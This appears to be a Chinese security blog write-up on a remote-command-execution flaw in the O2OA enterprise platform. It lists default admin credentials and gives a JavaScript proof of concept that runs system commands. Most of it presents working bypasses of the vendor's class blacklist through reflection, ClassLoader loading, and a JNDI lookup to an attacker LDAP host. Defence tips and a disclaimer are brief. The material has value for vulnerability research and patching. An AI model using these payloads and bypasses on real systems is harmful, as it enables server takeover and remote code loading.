o2oa getshell 漏洞绕过技术探寻
字数 1099 2025-08-29 08:30:19
O2OA GetShell漏洞分析与绕过技术研究
1. 漏洞概述
O2OA是一款开源的企业应用开发平台,存在一个允许通过JavaScript代码执行实现远程命令执行的漏洞。该漏洞自2020年暴露以来,经历了多次修复与绕过。
2. 环境搭建
2.1 搭建方法
-
源码方式:
- 从GitHub官方仓库下载源码:https://github.com/o2oa/
-
Docker方式:
docker pull o2oa/o2oa docker run -d --name o2oa -p 80:80 o2oa/o2oa -
Windows版本:
- 下载地址:http://mirror1.o2oa.net/versionList.html
- 运行启动脚本即可
2.2 默认凭证
- 用户名:xadmin
- 密码:o2oa@2022
3. 漏洞复现
3.1 基本利用步骤
- 登录后台(http://[ip]/x_desktop/index.html)
- 进入"服务管理"页面
- 输入恶意JavaScript代码
- 关闭相关安全设置(非必需但简化利用)
- 访问特定接口执行命令
3.2 原始PoC
var result = java.lang.Runtime.getRuntime().exec("whoami");
var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
output += line + "\n";
}
output;
请求方式需改为POST,JSON格式提交。
4. 漏洞修复与绕过
4.1 官方修复方案
官方通过黑名单机制进行防护,黑名单位于:
/configSample/general.json
被阻止的Java类包括:
java.lang.ProcessBuilderjava.lang.Runtimejavax.script.ScriptEngineManagerjava.lang.ProcessImpljava.lang.ProcessEnvironment
4.2 反射绕过技术
使用Java反射机制绕过黑名单:
var clazz = java.lang.Class.forName("java.lang.Runtime");
var method = clazz.getMethod("getRuntime");
var runtime = method.invoke(null);
var execMethod = clazz.getMethod("exec", java.lang.String);
var result = execMethod.invoke(runtime, "whoami");
var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
output += line + "\n";
}
output;
4.3 ClassLoader绕过
当Class.forName被禁止时,可使用ClassLoader:
var clazz = java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runtime");
var method = clazz.getMethod("getRuntime");
var runtime = method.invoke(null);
var execMethod = clazz.getMethod("exec", java.lang.String);
var result = execMethod.invoke(runtime, "whoami");
var inputStreamReader = new java.io.InputStreamReader(result.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while((line = bufferedReader.readLine()) != null){
output += line + "\n";
}
output;
4.4 JNDI注入
对于高版本JDK,可使用JNDI注入(需配合低版本JDK):
var ctx = new javax.naming.InitialContext();
ctx.lookup("ldap://attacker.com/Exploit");
5. 防御建议
- 及时更新到最新版本
- 修改默认管理员密码
- 限制后台访问IP
- 监控
general.json文件的修改 - 考虑使用应用防火墙(WAF)拦截可疑请求
6. 参考资源
- O2OA官方GitHub:https://github.com/o2oa/o2oa
- 相关Issue讨论:
- https://github.com/o2oa/o2oa/issues/158
- https://github.com/o2oa/o2oa/issues/159
- JNDI利用参考:https://xz.aliyun.com/t/16872
免责声明
本文仅用于安全研究与教育目的。未经授权对系统进行测试或攻击是违法行为。传播、利用本文信息造成的任何后果由使用者自行承担。